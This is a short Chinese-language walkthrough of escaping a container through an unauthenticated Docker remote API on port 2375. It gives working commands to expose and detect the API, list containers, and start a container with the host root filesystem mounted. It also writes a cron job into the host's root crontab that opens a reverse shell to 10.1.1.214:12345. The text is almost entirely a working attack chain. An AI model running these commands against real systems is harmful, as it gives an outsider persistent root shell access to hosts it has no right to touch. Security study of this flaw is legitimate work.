Docker 远程 API 未授权访问逃逸
docker remote api 可以执行 docker 命令,docker 守护进程监听在 0.0.0.0,可直接调用 API 来操作 docker
# 搭建
将 docker 守护进程监听在 0.0.0.0
dockerd -H unix:///var/run/docker.sock -H 0.0.0.0:2375
1
# 检测
IP=`hostname -i | awk -F. '{print $1 "." $2 "." $3 ".1"}' ` && wget http://$IP:2375
1
如果返回 404 说明存在
# 复现
列出容器信息
curl http://<target>:2375/containers/json
1
查看容器
docker -H tcp://<target>:2375 ps -a
1
新运行一个容器,挂载点设置为服务器的根目录挂载至/mnt目录下。
docker -H tcp://10.1.1.211:2375 run -it -v /:/mnt nginx:latest /bin/bash
1
在容器内执行命令,将反弹shell的脚本写入到/var/spool/cron/root
echo '* * * * * /bin/bash -i >& /dev/tcp/10.1.1.214/12345 0>&1' >> /mnt/var/spool/cron/crontabs/root
1
本地监听端口,获取对方宿主机shell。